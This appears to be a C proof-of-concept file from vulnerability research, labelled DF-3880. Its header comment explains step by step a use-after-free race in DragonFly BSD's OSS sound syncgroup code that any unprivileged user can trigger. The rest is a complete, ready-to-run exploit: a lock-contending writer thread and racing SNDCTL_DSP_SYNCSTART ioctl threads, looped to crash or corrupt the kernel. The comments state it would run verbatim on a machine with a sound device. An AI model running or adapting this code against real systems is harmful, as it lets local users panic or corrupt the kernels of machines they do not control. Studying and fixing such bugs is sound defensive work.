DF-3880 / syncstart_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-3880 PoC โ use-after-free race in dsp_oss_syncstart() * (sys/dev/sound/pcm/dsp.c:2992-3082), triggerable by any unprivileged * user on a machine with a PCM sound device (/dev/dsp* are 0666). * * The race (dsp.c:3001-3051): * * T1: PCM_SG_LOCK(); finds sg; walks sg->members with CHN_TRYLOCK; * CHN_TRYLOCK(sm->ch) FAILS on member M_k (lock held by a concurrent * writer/ioctl on that channel) -> * unlock members M_0..M_{k-1} * lksleep(sm, &snd_pcm_syncgroups_mtx, PCATCH, "pcmsg", 5ms) * ^^^^^^^ DROPS the syncgroup lock while asleep * * T2: SYNCSTART on the same sg_id while T1 sleeps: * PCM_SG_LOCK() (free now) -> locks ALL members (T1 released them) * -> starts every member, SLIST_REMOVE_HEAD + kfree() every sm, * SLIST_REMOVE + kfree() sg itself (dsp.c:3056-3069) * * T1: 5ms timeout fires, lksleep() returns 0 -> * `needlocks = 1; ret = 0;` -> * the inner SLIST_FOREACH CONTINUES from the stale `sm`: * sm = SLIST_NEXT(sm, link) <- read of FREED sm (UAF) * CHN_TRYLOCK(sm->ch) <- read of FREED sm->ch (wild * lock pointer -> panic/corruption) * ... and the enclosing sg is also freed. * * No signal is needed: the plain 5ms timeout wake (lksleep returns 0) * resumes the walk. The EINTR path (`break`) is safe; the timeout path is * not. The window is wide because T2's whole teardown is a few * microseconds that fit entirely inside T1's 5ms sleep, and the trylock * failure can be forced deterministically by keeping the member channel's * lock contended (a blocked/looping writer thread on the same fd). * * This guest has no PCM device (env.txt), so the kernel race cannot run * here; the binary documents the gate and would run verbatim on a * sound-equipped DragonFly box. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/soundcard.h> static int dsp_fd = -1; static volatile int stop_writer; static void * writer(void *arg) { unsigned char buf[4096]; memset(buf, 0x7f, sizeof(buf)); while (!stop_writer) (void)write(dsp_fd, buf, sizeof(buf)); /* contends CHN lock */ return (NULL); } struct start_arg { int id; }; static void * starter(void *arg) { int id = ((struct start_arg *)arg)->id; int dummy = id; ioctl(dsp_fd, SNDCTL_DSP_SYNCSTART, &dummy); /* the racing call */ return (NULL); } int main(void) { dsp_fd = open("/dev/dsp", O_RDWR); if (dsp_fd < 0) { printf("[*] open(\"/dev/dsp\"): %s (errno=%d) โ no PCM device " "on this guest; kernel race not executable here\n", strerror(errno), errno); return (2); } pthread_t w; stop_writer = 0; pthread_create(&w, NULL, writer, NULL); for (int i = 0; i < 100000; i++) { oss_syncgroup sg; memset(&sg, 0, sizeof(sg)); sg.mode = PCM_ENABLE_OUTPUT; sg.id = 0; /* create new group */ if (ioctl(dsp_fd, SNDCTL_DSP_SYNCGROUP, &sg) < 0) { printf("SYNCGROUP failed: %s\n", strerror(errno)); break; } int id = sg.id; struct start_arg a = { .id = id }; pthread_t t1, t2; /* T1 first: it should hit the contended channel lock and * sleep in lksleep("pcmsg"). T2 follows immediately and * tears the group down while T1 sleeps. */ pthread_create(&t1, NULL, starter, &a); usleep(1000); /* let T1 enter the walk */ pthread_create(&t2, NULL, starter, &a); pthread_join(t1, NULL); pthread_join(t2, NULL); if (i % 10000 == 0) printf("iteration %d (sg id %d)\n", i, id); } stop_writer = 1; pthread_join(w, NULL); close(dsp_fd); printf("[!] survived โ no UAF observed this run (race is " "probabilistic; on hardware rerun with more iterations)\n"); return (0); } |